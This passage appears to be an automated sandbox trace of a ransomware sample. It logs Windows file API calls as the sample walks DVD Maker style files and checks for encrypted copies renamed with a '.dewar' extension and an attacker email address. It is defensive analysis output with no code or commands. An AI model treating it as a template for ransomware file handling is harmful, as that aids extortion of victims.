maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.557] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=542466) returned 1 [0255.557] CloseHandle (hObject=0x1e0) returned 1 [0255.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0255.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv")) returned 0x20 [0255.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.560] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5072) returned 1 [0255.560] CloseHandle (hObject=0x1e0) returned 1 [0255.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0255.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp")) returned 0x20 [0255.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.562] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3462) returned 1 [0255.562] CloseHandle (hObject=0x1e0) returned 1 [0255.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0255.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png")) returned 0x20 [0255.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.564] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3390) returned 1 [0255.564] CloseHandle (hObject=0x1e0) returned 1 [0255.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0255.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png")) returned 0x20 [0255.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.569] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3214) returned 1 [0255.569] CloseHandle (hObject=0x1e0) returned 1 [0255.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0255.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png")) returned 0x20 [0255.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.577] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0255.577] CloseHandle (hObject=0x1e0) returned 1 [0255.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0255.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0255.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.581] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2820) returned 1 [0255.581] CloseHandle (hObject=0x1e0) returned 1 [0255.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0255.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0255.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.780] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5088) returned 1 [0255.780] CloseHandle (hObject=0x1e0) returned 1 [0255.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0255.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0255.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.783] SetEvent (hEvent=0x118) returned 1 [0255.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.784] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0255.785] CloseHandle (hObject=0x1e0) returned 1 [0255.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0255.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0255.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.788] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=21627) returned 1 [0255.788] CloseHandle (hObject=0x1e0) returned 1 [0255.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0255.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0255.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.799] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0255.799] CloseHandle (hObject=0x1e0) returned 1 [0255.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0255.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0255.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.809] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=51801) returned 1 [0255.809] CloseHandle (hObject=0x1e0) returned 1 [0255.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0255.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0255.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.810] SetEvent (hEvent=0x118) returned 1 [0255.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.811] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5088) returned 1 [0255.811] CloseHandle (hObject=0x1e0) returned 1 [0255.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0255.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0255.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.813] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3130) returned 1 [0255.813] CloseHandle (hObject=0x1e0) returned 1 [0255.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.815] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5025) returned 1 [0255.815] CloseHandle (hObject=0x1e0) returned 1 [0255.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0255.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0255.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 